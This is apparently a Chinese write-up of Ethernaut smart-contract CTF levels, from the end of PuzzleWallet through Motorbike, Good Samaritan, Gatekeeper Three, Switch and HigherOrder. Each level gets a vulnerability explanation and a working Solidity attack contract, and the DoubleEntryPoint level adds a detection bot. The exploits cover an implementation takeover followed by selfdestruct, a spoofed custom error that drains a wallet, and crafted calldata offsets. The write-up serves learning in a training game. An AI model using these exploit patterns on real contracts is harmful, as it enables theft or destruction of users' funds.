为了绕过合约里的安全检查:
1 2 3 4 5 6 7 // 合约里的检查逻辑 bool depositCalled = false; // 每次函数开始时,这个开关是关着的 if (调用的是 deposit) { require(!depositCalled); // 必须没存过钱 depositCalled = true; // 打开开关,标记已存过 }
如果我们直接发 [deposit, deposit]:
执行第一个 deposit -> 开关打开 (true)。
执行第二个 deposit -> 检查开关 -> 发现是 true -> 报错!
如果我们发 [deposit, multicall([deposit])]:
执行第一个 deposit -> 外层开关打开 (true)。
执行第二个任务 multicall->进入了一个新的函数环境!
在这个新环境里,有一个全新的 depositCalled 开关,它是关着的 (false)!
执行内层 deposit -> 检查内层开关 -> 是 false -> 通过!
这就是嵌套调用 的魔力:它利用了 delegatecall 保持 msg.value 不变,但重新初始化局部变量的特性,实现了“花一份钱,存两次款”。
注意事项:
问题:attack 交易失败
关键检查 :调用 attack 时,Value (ETH) 填了吗?
回顾代码:target.multicall{value: contractBalance}(data);
如果 PuzzleWallet 里有 0.001 ETH,你调用 attack 时必须 在 Remix 的 Value 栏填入 0.001 Ether。
如果你填的是 0,交易会因为 multicall 里的逻辑或者后续的 execute 余额不足而 Revert。
如何确认当前合约余额? 在 Ethernaut 控制台输入:
1 2 await getBalance(contract.address) '0.001'
25. Motorbike
Ethernaut’s motorbike has a brand new upgradeable engine design.
Would you be able to selfdestruct its engine and make the motorbike unusable ?
Things that might help:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 pragma solidity <0.7 .0 ; import "openzeppelin-contracts-06/utils/Address.sol" ;import "openzeppelin-contracts-06/proxy/Initializable.sol" ;contract Motorbike { bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc ; struct AddressSlot { address value; } constructor (address _logic ) public { require (Address .isContract (_logic), "ERC1967: new implementation is not a contract" ); _getAddressSlot (_IMPLEMENTATION_SLOT).value = _logic; (bool success,) = _logic.delegatecall (abi.encodeWithSignature ("initialize()" )); require (success, "Call failed" ); } function _delegate (address implementation ) internal virtual { assembly { calldatacopy (0 , 0 , calldatasize ()) let result := delegatecall (gas (), implementation, 0 , calldatasize (), 0 , 0 ) returndatacopy (0 , 0 , returndatasize ()) switch result case 0 { revert (0 , returndatasize ()) } default { return (0 , returndatasize ()) } } } fallback () external payable virtual { _delegate (_getAddressSlot (_IMPLEMENTATION_SLOT).value ); } function _getAddressSlot (bytes32 slot ) internal pure returns (AddressSlot storage r) { assembly { r_slot := slot } } } contract Engine is Initializable { bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc ; address public upgrader; uint256 public horsePower; struct AddressSlot { address value; } function initialize ( ) external initializer { horsePower = 1000 ; upgrader = msg.sender ; } function upgradeToAndCall (address newImplementation, bytes memory data ) external payable { _authorizeUpgrade (); _upgradeToAndCall (newImplementation, data); } function _authorizeUpgrade ( ) internal view { require (msg.sender == upgrader, "Can't upgrade" ); } function _upgradeToAndCall (address newImplementation, bytes memory data ) internal { _setImplementation (newImplementation); if (data.length > 0 ) { (bool success,) = newImplementation.delegatecall (data); require (success, "Call failed" ); } } function _setImplementation (address newImplementation ) private { require (Address .isContract (newImplementation), "ERC1967: new implementation is not a contract" ); AddressSlot storage r; assembly { r_slot := _IMPLEMENTATION_SLOT } r.value = newImplementation; } }
UUPS 1. UUPS 的核心思想:逻辑合约管升级
在传统的代理模式(如 Transparent Proxy)中,升级逻辑写在“代理合约”里。而在 UUPS 中,升级函数(如 upgradeToAndCall)写在“逻辑合约”里。
这意味着:
**代理合约 (Motorbike)**:非常简单,只负责 delegatecall 转发。
**逻辑合约 (Engine)**:除了业务逻辑,还要负责检查调用者是否有权升级,并执行升级。
2. 为什么需要 UUPS?(优势)
更省 Gas :在 Transparent Proxy 模式中,每次调用都要检查调用者是不是管理员,这非常耗油。而在 UUPS 中,升级逻辑在逻辑合约里,普通业务调用不需要经过多余的权限检查。
可定制性强 :你可以随时改变升级规则。比如 V1 版本需要 1 个人签名升级,V2 版本可以改成需要 3 个人签名,因为升级逻辑本身就是可以升级的代码。
代理合约体积更小 :代理合约不需要复杂的逻辑,部署成本更低。
3. UUPS 的致命风险(也是本题的考点)
UUPS 虽然高效,但它带来了一个巨大的风险:“自断生路” 。
风险 A:忘记写升级函数
如果你升级到一个新的逻辑合约,但这个新合约里漏写 了 upgradeTo 函数,那么这个合约就永远锁死了,再也无法升级。
风险 B:逻辑合约被销毁 (本题的核心)
由于升级逻辑在逻辑合约里,代理合约必须依靠逻辑合约才能进行下一次升级。
如果逻辑合约被 selfdestruct 删除了。
代理合约依然指向那个地址,但那个地址现在是空的(没有代码)。
代理合约就变成了废铁,因为它失去了“大脑”,也没法通过升级找回“大脑”。
EIP-1967 EIP-1967 是以太坊的一个标准,全称是 **”Standard Proxy Storage Slots”**(标准代理存储槽位)。
简单来说,它规定了在代理模式(Proxy Pattern)中,一些关键信息(如逻辑合约地址、管理员地址)应该存放在存储空间的什么位置。
为什么要制定这个标准?(解决冲突)
在 EIP-1967 出现之前,不同的代理合约会把逻辑合约地址存放在不同的槽位(比如有的存在 Slot 0,有的存在 Slot 100)。这会导致两个严重问题:
**存储冲突 (Storage Collision)**:逻辑合约里的业务变量(如你的 horsePower)如果正好也想用 Slot 0,就会把代理合约里的逻辑地址覆盖掉,导致合约崩溃。
浏览器/工具不兼容 :像 Etherscan 这样的区块链浏览器不知道去哪读取逻辑合约地址,所以它无法帮你自动关联并显示逻辑合约的代码。
EIP-1967 就像是一个“公共寄存物柜标准” :它规定了所有代理合约必须把“钥匙”(逻辑合约地址)放在“第 99999 号柜子”里。这样不仅安全(不会被别人乱放的衣服盖住),而且保安(浏览器)一眼就能找到钥匙在哪里。
核心漏洞分析 要使这辆摩托车(Motorbike)无法使用,你需要利用 UUPS 模式中的一个经典漏洞:逻辑合约(Engine)本身未被初始化 。
在 UUPS 代理模式中,Motorbike 是代理合约,Engine 是逻辑合约。虽然 Motorbike 在构造函数中通过 delegatecall 调用了 Engine 的 initialize(),但这只初始化了 代理合约(Motorbike) 的存储空间。
逻辑合约(Engine)合约地址本身 的存储空间仍然是空的(upgrader 为 address(0))。这意味着任何人都可以直接调用 Engine 地址上的 initialize() 函数,成为其管理员(upgrader)。
攻击步骤
获取 Engine 地址 : 实现合约的地址存储在 Motorbike 合约的 EIP-1967 实现槽位中:0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc。 可以使用 Web3.js 或 Ethers.js 读取该存储槽的值:web3.eth.getStorageAt(motorbikeAddress, "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc")
部署攻击合约 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pragma solidity ^0.8 .0 ; interface IEngine { function initialize ( ) external; function upgradeToAndCall (address newImplementation, bytes calldata data ) external payable; } contract MotorbikeAttack { function attack (address engineAddress ) external { IEngine (engineAddress).initialize (); IEngine (engineAddress).upgradeToAndCall ( address (this ), abi.encodeWithSignature ("kill()" ) ); } function kill ( ) external { selfdestruct (payable (msg.sender )); } }
3. 执行攻击 :
调用攻击合约的 attack(engineAddress) 函数。
Engine.initialize() 执行后,攻击合约成为 Engine 的权限拥有者。
Engine.upgradeToAndCall(attackContract, "kill()") 会在 Engine 的上下文中执行 attackContract.kill()。
执行 selfdestruct 后,Engine 合约的代码将被从区块链上移除。
最终结果如下:
其中upgrader(getStorageAt(engineAddr, 0))成功被修改为我们的合约地址。
但是注意到最后结果并没有通过关卡,是因为 engine 合约没有自毁,合约字节码依然不为 0。
这是因为:
selfdestruct 的局限性 (Dencun 升级)
在以太坊 Dencun (Cancun) 升级 之后,selfdestruct 的行为发生了重大变化:
新规则 :除非合约是在同一个交易 中创建并销毁的,否则 selfdestruct 只会转移资金,不会删除字节码 。
后果 :由于 Engine 合约早已存在,你的 attack 交易虽然执行成功了,但 Engine 的代码可能依然留在链上。
26. DoubleEntryPoint
This level features a CryptoVault with special functionality, the sweepToken function. This is a common function used to retrieve tokens stuck in a contract. The CryptoVault operates with an underlying token that can’t be swept, as it is an important core logic component of the CryptoVault. Any other tokens can be swept.
The underlying token is an instance of the DET token implemented in the DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT.
In this level you should figure out where the bug is in CryptoVault and protect it from being drained out of tokens.
The contract features a Forta contract where any user can register its own detection bot contract. Forta is a decentralized, community-based monitoring network to detect threats and anomalies on DeFi, NFT, governance, bridges and other Web3 systems as quickly as possible. Your job is to implement a detection bot and register it in the Forta contract. The bot’s implementation will need to raise correct alerts to prevent potential attacks or bug exploits.
Things that might help:
How does a double entry point work for a token contract?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 pragma solidity ^0.8 .0 ; import "openzeppelin-contracts-08/access/Ownable.sol" ;import "openzeppelin-contracts-08/token/ERC20/ERC20.sol" ;interface DelegateERC20 { function delegateTransfer (address to, uint256 value, address origSender ) external returns (bool); } interface IDetectionBot { function handleTransaction (address user, bytes calldata msgData ) external; } interface IForta { function setDetectionBot (address detectionBotAddress ) external; function notify (address user, bytes calldata msgData ) external; function raiseAlert (address user ) external; } contract Forta is IForta { mapping (address => IDetectionBot ) public usersDetectionBots; mapping (address => uint256) public botRaisedAlerts; function setDetectionBot (address detectionBotAddress ) external override { usersDetectionBots[msg.sender ] = IDetectionBot (detectionBotAddress); } function notify (address user, bytes calldata msgData ) external override { if (address (usersDetectionBots[user]) == address (0 )) return ; try usersDetectionBots[user].handleTransaction (user, msgData ) { return ; } catch {} } function raiseAlert (address user ) external override { if (address (usersDetectionBots[user]) != msg.sender ) return ; botRaisedAlerts[msg.sender ] += 1 ; } } contract CryptoVault { address public sweptTokensRecipient; IERC20 public underlying; constructor (address recipient ) { sweptTokensRecipient = recipient; } function setUnderlying (address latestToken ) public { require (address (underlying) == address (0 ), "Already set" ); underlying = IERC20 (latestToken); } function sweepToken (IERC20 token ) public { require (token != underlying, "Can't transfer underlying token" ); token.transfer (sweptTokensRecipient, token.balanceOf (address (this ))); } } contract LegacyToken is ERC20 ("LegacyToken" , "LGT" ), Ownable { DelegateERC20 public delegate; function mint (address to, uint256 amount ) public onlyOwner { _mint (to, amount); } function delegateToNewContract (DelegateERC20 newContract ) public onlyOwner { delegate = newContract; } function transfer (address to, uint256 value ) public override returns (bool) { if (address (delegate) == address (0 )) { return super .transfer (to, value); } else { return delegate.delegateTransfer (to, value, msg.sender ); } } } contract DoubleEntryPoint is ERC20 ("DoubleEntryPointToken" , "DET" ), DelegateERC20 , Ownable { address public cryptoVault; address public player; address public delegatedFrom; Forta public forta; constructor (address legacyToken, address vaultAddress, address fortaAddress, address playerAddress ) { delegatedFrom = legacyToken; forta = Forta (fortaAddress); player = playerAddress; cryptoVault = vaultAddress; _mint (cryptoVault, 100 ether); } modifier onlyDelegateFrom ( ) { require (msg.sender == delegatedFrom, "Not legacy contract" ); _; } modifier fortaNotify ( ) { address detectionBot = address (forta.usersDetectionBots (player)); uint256 previousValue = forta.botRaisedAlerts (detectionBot); forta.notify (player, msg.data ); _; if (forta.botRaisedAlerts (detectionBot) > previousValue) revert ("Alert has been triggered, reverting" ); } function delegateTransfer (address to, uint256 value, address origSender ) public override onlyDelegateFrom fortaNotify returns (bool) { _transfer (origSender, to, value); return true ; } }
double entry这个 CryptoVault 合约的设计目标是一个“资产回收站” 。在 DeFi 项目中,经常会有用户误将代币转入合约地址,因此开发者通常会写一个 sweepToken 函数来提取这些“被困”的代币。
可以将这个合约的功能拆解为:保护核心资产 和清理杂质资产 。
1. 核心状态变量
address public sweptTokensRecipient;
IERC20 public underlying;
underlying 是合约的“保险柜底座”,它存储了该合约业务逻辑中最关键的代币(在这个关卡里指 DET 代币)。
2. 初始化核心代币 (setUnderlying)
1 2 3 4 function setUnderlying(address latestToken) public { require(address(underlying) == address(0), "Already set"); underlying = IERC20(latestToken); }
唯一性检查 :通过 address(underlying) == address(0) 确保这个核心代币地址只能被设置一次 。一旦设置,就不可更改,防止后续有人通过修改核心资产地址来“监守自盗”。
3. 核心功能:清理代币 (sweepToken)
这是合约中逻辑最重的地方,也是漏洞点 所在:
1 2 3 4 5 6 7 function sweepToken (IERC20 token ) public { require (token != underlying, "Can't transfer underlying token" ); token.transfer (sweptTokensRecipient, token.balanceOf (address (this ))); }
逻辑拆解:
参数 token :调用者传入想要清理掉的代币合约地址。
require 检查 :
预期逻辑 :如果你传入的是核心代币 underlying(即 DET),交易会报错,保护资产。
潜在风险 :它只检查了“地址是否相同” ,而没有检查“逻辑是否关联” 。
token.transfer :
合约会查询自己在传入的 token 合约里的余额。
然后将全部余额转给预设的接收人 sweptTokensRecipient。
4. 为什么这段代码“看起来安全,实际危险”?
可以用一个形象的比喻:
金库的防御 :大门(underlying 地址)被锁死了,谁也搬不走。
黑客的攻击 :黑客发现金库还有一个隐藏的侧门(LegacyToken 地址)。
漏洞发生 :
攻击者调用 sweepToken(LegacyToken)。
CryptoVault 检查:侧门(LGT)的地址确实不等于大门(DET)的地址,检查通过 。
CryptoVault 执行 LGT.transfer(...)。
致命一击 :因为 LGT 内部是代理模式,它偷偷跑去修改了 DET(核心资产)的账本,把 DET 转走了。
漏洞分析 首先获取 cryptoVault 和 forta 的合约地址。cryptoVault 用于在 bot 中加入逻辑判断,当发现如果原始发送者是 Vault 且正在尝试提取代币,则发起警告。forta 用于设置 detectionBot 的地址。
AlertBot
部署 bot 用来检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 pragma solidity ^0.8 .0 ; interface IDetectionBot { function handleTransaction (address user, bytes calldata msgData ) external; } interface IForta { function raiseAlert (address user ) external; } contract AlertBot is IDetectionBot { address public immutable vaultAddress; constructor (address _vaultAddress ) { vaultAddress = _vaultAddress; } function handleTransaction (address user, bytes calldata msgData ) external override { address origSender; assembly { origSender := calldataload (add (msgData.offset , 68 )) } if (origSender == vaultAddress) { IForta (msg.sender ).raiseAlert (user); } } }
1 2 3 4 5 6 const fortaAddr = '0x1303Ad3d77320DfC0eB64898E82d9bf2896640bA' ;const fortaAbi = [{"inputs" :[{"internalType" :"address" ,"name" :"detectionBotAddress" ,"type" :"address" }],"name" :"setDetectionBot" ,"outputs" :[],"stateMutability" :"nonpayable" ,"type" :"function" }];const fortaContract = new web3.eth .Contract (fortaAbi, fortaAddr);await fortaContract.methods .setDetectionBot ("NEW_BOT_ADDR" ).send ({ from : player });
终端设置bot后进行提交,最终结果如下:
27. Good Samaritan Solidity Custom Errors
This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it.
Would you be able to drain all the balance from his Wallet?
Things that might help:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 pragma solidity >=0.8 .0 <0.9 .0 ; import "openzeppelin-contracts-08/utils/Address.sol" ;contract GoodSamaritan { Wallet public wallet; Coin public coin; constructor ( ) { wallet = new Wallet (); coin = new Coin (address (wallet)); wallet.setCoin (coin); } function requestDonation ( ) external returns (bool enoughBalance) { try wallet.donate10 (msg.sender ) { return true ; } catch (bytes memory err) { if (keccak256 (abi.encodeWithSignature ("NotEnoughBalance()" )) == keccak256 (err)) { wallet.transferRemainder (msg.sender ); return false ; } } } } contract Coin { using Address for address; mapping (address => uint256) public balances; error InsufficientBalance (uint256 current, uint256 required); constructor (address wallet_ ) { balances[wallet_] = 10 ** 6 ; } function transfer (address dest_, uint256 amount_ ) external { uint256 currentBalance = balances[msg.sender ]; if (amount_ <= currentBalance) { balances[msg.sender ] -= amount_; balances[dest_] += amount_; if (dest_.isContract ()) { INotifyable (dest_).notify (amount_); } } else { revert InsufficientBalance (currentBalance, amount_); } } } contract Wallet { address public owner; Coin public coin; error OnlyOwner (); error NotEnoughBalance (); modifier onlyOwner ( ) { if (msg.sender != owner) { revert OnlyOwner (); } _; } constructor ( ) { owner = msg.sender ; } function donate10 (address dest_ ) external onlyOwner { if (coin.balances (address (this )) < 10 ) { revert NotEnoughBalance (); } else { coin.transfer (dest_, 10 ); } } function transferRemainder (address dest_ ) external onlyOwner { coin.transfer (dest_, coin.balances (address (this ))); } function setCoin (Coin coin_ ) external onlyOwner { coin = coin_; } } interface INotifyable { function notify (uint256 amount ) external; }
这是一个经典的 Solidity 漏洞利用场景,利用了 自定义错误(Custom Errors)的冒泡(Bubbling)机制 和 控制流劫持 。
要抽干(Drain)这个钱包,我们需要利用 GoodSamaritan 合约中 try-catch 块对错误类型的判断逻辑。
核心漏洞原理
控制流劫持 :在 Coin.transfer 函数中,如果接收者是一个合约,它会调用接收者的 notify(amount) 函数。这给了攻击者执行恶意代码的机会。
自定义错误冒泡 :当你在 notify 中触发 revert 时,这个错误会沿着调用栈向上传播(冒泡)。
错误类型欺骗 :GoodSamaritan 的 requestDonation 函数会捕获错误。如果捕获到的错误是 NotEnoughBalance(),它会误以为是钱包余额不足,从而触发 wallet.transferRemainder 把所有余额 发给请求者。
编写一个攻击合约,实现 INotifyable 接口,并在 notify 函数中主动抛出 NotEnoughBalance() 错误。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pragma solidity >=0.8 .0 <0.9 .0 ; error NotEnoughBalance (); interface IGoodSamaritan { function requestDonation ( ) external returns (bool); } contract Attacker { IGoodSamaritan public target; constructor (address _target ) { target = IGoodSamaritan (_target); } function attack ( ) external { target.requestDonation (); } function notify (uint256 amount ) external pure { if (amount <= 10 ) { revert NotEnoughBalance (); } } }
部署该合约后,执行 attack 函数即可触发攻击,通过如下命令可以在控制台查看余额:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const coinAddr = await contract.coin ();const walletAddr = await contract.wallet ();const minABI = [ { "constant" : true , "inputs" : [{"name" : "_owner" , "type" : "address" }], "name" : "balances" , "outputs" : [{"name" : "balance" , "type" : "uint256" }], "type" : "function" } ]; const coinContract = new web3.eth .Contract (minABI, coinAddr);const walletBal = await coinContract.methods .balances (walletAddr).call ();const playerBal = await coinContract.methods .balances (player).call ();console .log ("Wallet 余额:" , walletBal);console .log ("Player 余额:" , playerBal);
对应合约地址中的余额已经变成了 10^6。
28. Gatekeeper Three
Cope with gates and become an entrant.
Things that might help:
Recall return values of low-level functions.
Be attentive with semantic.
Refresh how storage works in Ethereum.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 pragma solidity ^0.8 .0 ; contract SimpleTrick { GatekeeperThree public target; address public trick; uint256 private password = block.timestamp ; constructor (address payable _target ) { target = GatekeeperThree (_target); } function checkPassword (uint256 _password ) public returns (bool) { if (_password == password) { return true ; } password = block.timestamp ; return false ; } function trickInit ( ) public { trick = address (this ); } function trickyTrick ( ) public { if (address (this ) == msg.sender && address (this ) != trick) { target.getAllowance (password); } } } contract GatekeeperThree { address public owner; address public entrant; bool public allowEntrance; SimpleTrick public trick; function construct0r ( ) public { owner = msg.sender ; } modifier gateOne ( ) { require (msg.sender == owner); require (tx.origin != owner); _; } modifier gateTwo ( ) { require (allowEntrance == true ); _; } modifier gateThree ( ) { if (address (this ).balance > 0.001 ether && payable (owner).send (0.001 ether) == false ) { _; } } function getAllowance (uint256 _password ) public { if (trick.checkPassword (_password)) { allowEntrance = true ; } } function createTrick ( ) public { trick = new SimpleTrick (payable (address (this ))); trick.trickInit (); } function enter ( ) public gateOne gateTwo gateThree { entrant = tx.origin ; } receive () external payable {} }
send 函数对 eth Storage 理解 关卡 Gatekeeper Three 。它结合了权限夺取、存储空间嗅探(Storage Proof)以及对低级函数 send 特性的深入理解。
要成为 entrant,我们需要连续通过三道门。以下是破解方案的详细拆解:
第一关:Gate One(身份与所有权)
1 2 3 4 5 modifier gateOne ( ) { require (msg.sender == owner); require (tx.origin != owner); _; }
第二关:Gate Two(获取通行许可)
1 2 3 4 modifier gateTwo ( ) { require (allowEntrance == true ); _; }
SimpleTrick 的存储布局:target 是 Slot 0, trick 是 Slot 1, password 是 Slot 2。
操作: 在控制台使用 web3.eth.getStorageAt(trickAddress, 2) 获取当前的密码值。
第三关:Gate Three(资金平衡与转账失败)
1 2 3 4 5 modifier gateThree ( ) { if (address (this ).balance > 0.001 ether && payable (owner).send (0.001 ether) == false ) { _; } }
破解点 1: 合约余额必须 ether。
方案: 直接向 GatekeeperThree 地址转账(该合约有 receive())。
破解点 2: send(0.001 ether) 必须返回 false 。
关键语义: 当 send 目标是一个合约且该合约没有 receive() 或 fallback() 函数 (或者手动 revert)时,send 会失败并返回 false。
方案: 我们的攻击合约(即 owner)不能实现任何接收以太币的功能。
攻击合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pragma solidity ^0.8 .0 ; interface IGatekeeperThree { function construct0r ( ) external; function createTrick ( ) external; function getAllowance (uint256 _password ) external; function enter ( ) external; } contract GatekeeperExploit { IGatekeeperThree public target; constructor (address _target ) { target = IGatekeeperThree (_target); } function claimOwner ( ) public { target.construct0r (); } function initTrick ( ) public { target.createTrick (); } function solve (uint256 password ) public { target.getAllowance (password); target.enter (); } }
攻击流程 1. 查看初始合约状态和部署攻击合约 :传入 GatekeeperThree 实例地址。
2. 转账 :向 GatekeeperThree 发送 0.0011 ether,满足余额要求。
使用 Metamask 向合约地址转账
图里面的发送了 0.001 ether,导致后面没有通过,实际需要转账的数字要大于 0.001 ether。
3. 夺权 :调用攻击合约的 claimOwner()。
4. 初始化 :调用攻击合约的 initTrick()。
5. 读取密码 :在 Web 控制台输入:
1 2 3 4 5 6 7 const trickAddr = await contract.trick ();const pwd = await web3.eth .getStorageAt (trickAddr, 2 );console .log ("Password is:" , pwd);
6. 最后 :调用攻击合约的 solve(pwd)。
最后结果如下:
29. Switch(未解)
Just have to flip the switch. Can’t be that hard, right?
Things that might help: Understanding how CALLDATA is encoded.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.8 .0 ; contract Switch { bool public switchOn; bytes4 public offSelector = bytes4 (keccak256 ("turnSwitchOff()" )); modifier onlyThis ( ) { require (msg.sender == address (this ), "Only the contract can call this" ); _; } modifier onlyOff ( ) { bytes32[1 ] memory selector; assembly { calldatacopy (selector, 68 , 4 ) } require (selector[0 ] == offSelector, "Can only call the turnOffSwitch function" ); _; } function flipSwitch (bytes memory _data ) public onlyOff { (bool success,) = address (this ).call (_data); require (success, "call failed :(" ); } function turnSwitchOn ( ) public onlyThis { switchOn = true ; } function turnSwitchOff ( ) public onlyThis { switchOn = false ; } }
calldata 内存布局理解这一关 Switch 的核心考察点是 ABI 编码中动态类型(bytes)的内存布局 ,以及如何利用偏移量(Offset) 来绕过代码中的安全检查。
简单来说,你要通过 flipSwitch 函数去调用 turnSwitchOn,但 flipSwitch 有一个非常刁钻的检查:它会强制检查 Calldata 的第 68 字节开始的 4 个字节,必须是 turnSwitchOff 的函数选择器。
1. 核心逻辑分析
合约中有两个关键点:
onlyOff 修饰符 :它使用汇编 calldatacopy 从 calldata 的第 68 字节 (偏移量 68)抓取 4 个字节。它要求这 4 个字节必须等于 offSelector(即 turnSwitchOff() 的选择器)。
**flipSwitch(bytes memory _data)**:参数 _data 是一个动态类型的 bytes。在以太坊 ABI 编码中,动态类型的参数由三部分组成:
**偏移量 (Offset)**:指向数据长度所在的位置。
**数据长度 (Length)**:数据的字节长度。
**数据内容 (Data)**:实际的字节内容。
2. 布局陷阱
通常情况下,如果我们调用 flipSwitch(data):
00-03: flipSwitch 的选择器。
04-35: _data 的偏移量(通常是 0x20,即 32 字节)。
36-67: _data 的长度。
68-71 : 这里正好是 _data 内容的开头 。
修饰符 onlyOff 检查的就是这个位置(68-71)。如果我们要调用 turnSwitchOn(),这里本该放 on 的选择器,但检查要求必须放 off 的选择器。
绕过方法: 我们手动构造 Calldata,把 _data 真正的开始位置往后挪,让第 68 字节变成一段“无关紧要”的填充数据,专门用来通过 onlyOff 检查。
3. 构造攻击 Calldata
我们需要构造一个包含以下部分的 Hex 字符串:
**flipSwitch 选择器 (4字节)**:0x30c13ade
**偏移量 (32字节)**:我们不设为 32,而是设为 **96 (0x60)**。这意味着 _data 的长度和内容将从第 4 + 96 = 100 字节开始。
**填充/占位 (32字节)**:全是 0。
伪造的选择器 (32字节): 这就是关键! 在第 68 字节处放入 turnSwitchOff 的选择器 0x20606e3d 来骗过 onlyOff。
**_data 的长度 (32字节)**:4 字节(因为我们要调用 turnSwitchOn())。
**真正的 _data 内容 (32字节)**:turnSwitchOn 的选择器 0x76227e12(后面补 0)。
攻击合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 pragma solidity ^0.8 .0 ; interface ISwitch { function flipSwitch (bytes calldata _data ) external; } contract SwitchAttack { function attack (address _instance ) external { bytes4 flipSwitchSelector = bytes4 (keccak256 ("flipSwitch(bytes)" )); bytes4 onSelector = bytes4 (keccak256 ("turnSwitchOn()" )); bytes4 offSelector = bytes4 (keccak256 ("turnSwitchOff()" )); bytes memory payload = abi.encodePacked ( flipSwitchSelector, uint256 (0x60 ), uint256 (0 ), offSelector, uint256 (0 ), uint256 (4 ), onSelector, uint256 (0 ) ); (bool success, ) = _instance.call (payload); require (success, "Attack failed" ); } }
30. HigherOrder
Imagine a world where the rules are meant to be broken, and only the cunning and the bold can rise to power. Welcome to the Higher Order, a group shrouded in mystery, where a treasure awaits and a commander rules supreme.
Your objective is to become the Commander of the Higher Order! Good luck!
Things that might help:
Sometimes, calldata cannot be trusted.
Compilers are constantly evolving into better spaceships.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // SPDX-License-Identifier: MIT pragma solidity 0.6.12; contract HigherOrder { address public commander; uint256 public treasury; function registerTreasury(uint8) public { assembly { sstore(treasury_slot, calldataload(4)) } } function claimLeadership() public { if (treasury > 255) commander = msg.sender; else revert("Only members of the Higher Order can become Commander"); } }
绕过编译器 1. 核心矛盾分析
这个合约看似设下了一个“不可能”的限制:
函数定义 :registerTreasury(uint8) 声明接收一个 uint8 类型的参数。在 Solidity 中,uint8 的最大值是 。
胜利条件 :claimLeadership() 要求 treasury > 255。
漏洞点 :registerTreasury 的函数体里使用了 Assembly (汇编)。
1 2 3 4 5 function registerTreasury(uint8) public { assembly { sstore(treasury_slot, calldataload(4)) } }
为什么这是个漏洞?
在 Solidity 的常规代码中,如果你传入一个大于 255 的数给 uint8,编译器或运行时的检查会拦截它(或者进行截断)。但是,汇编语言是不看类型的 。
calldataload(4):这行代码会从 calldata 的第 4 字节开始,直接读取完整的 32 字节(256 位) 数据。
汇编直接把这 32 字节存入了 treasury 的插槽中,完全无视了函数签名里定义的 uint8。
因此,你只需要通过一种“不诚实”的方式调用 registerTreasury,传入一个大于 255 的值(例如 256),就能改写 treasury。
攻击合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 pragma solidity ^0.8 .0 ; interface IHigherOrder { function claimLeadership ( ) external; function treasury ( ) external view returns (uint256); } contract HigherOrderAttack { function attack (address payable _instance ) external { bytes4 selector = bytes4 (keccak256 ("registerTreasury(uint8)" )); uint256 valueToStore = 256 ; bytes memory data = abi.encodePacked (selector, valueToStore); (bool success, ) = _instance.call (data); require (success, "Failed to register treasury" ); IHigherOrder (_instance).claimLeadership (); } }
为什么在 Solidity 中这样能成功?
避开编译器检查 :如果你直接在代码里写 registerTreasury(256),Solidity 编译器会报错,因为它知道 256 超过了 uint8 的范围。但通过 _instance.call(data),你绕过了编译器的静态类型检查。
利用 EVM 的“盲目性” :
目标合约在接收到你的 data 时,由于它用的是 calldataload(4),它不会管函数签名是怎么写的,它只会从偏移量为 4 的地方开始读取接下来的 32 个字节。
你传入的是 uint256(256),在内存里它是 0000...0100。
目标合约读取了这 32 字节并 sstore 到了 treasury 中。
结果 :treasury 成功变成了 256,满足了 > 255 的条件。
